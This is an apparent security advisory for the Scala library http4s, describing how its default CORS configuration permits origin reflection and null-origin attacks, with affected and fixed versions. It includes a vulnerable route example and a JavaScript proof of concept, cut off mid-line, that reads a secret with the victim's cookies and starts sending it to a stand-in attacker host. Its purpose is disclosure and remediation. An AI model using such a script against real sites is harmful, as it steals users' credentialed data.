Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.

Affected: Maven: org.http4s:http4s-server_2.13.0-M5, Maven: org.http4s:http4s-server_3, Maven: org.http4s:http4s-server_2.10, Maven: org.http4s:http4s-server_2.11, Maven: org.http4s:http4s-server_2.12, Maven: org.http4s:http4s-server_2.13

### Impact

#### Origin reflection attack

The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app `app`, using the default CORS config, running at https://vulnerable.example.com:

```scala val routes: HttpRoutes[F] = HttpRoutes.of { case req if req.pathInfo === "/secret" => Response(Ok).withEntity(password).pure[F] } val app = CORS(routes.orNotFound) ```

The following request is made to our server:

```http GET /secret HTTP/1.1 Host: vulnerable.example.com Origin: https://adversary.example.net Cookie: sessionId=... ```

When the `anyOrigin` flag of `CORSConfig` is `true`, as is the case in the default argument to `CORS`, the middleware will allow sharing its resource regardless of the `allowedOrigins` setting. Paired with the default `allowCredentials`, the server approves sharing responses that may have required credentials for sensitive information with any origin:

```http HTTP/1.1 200 OK Access-Control-Allow-Origin: https://adversary.example.org Access-Control-Allow-Credentials: true Content-Type: text/plain

p4ssw0rd ```

A malicious script running on `https://adversary.example.org/` can then exfiltrate sensitive information with the user's credentials to `vulnerable.exmaple.org`:

```javascript var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable.example.org/secret',true); req.withCredentials = true; req.send();

function reqListener() { location='//bad-people.e…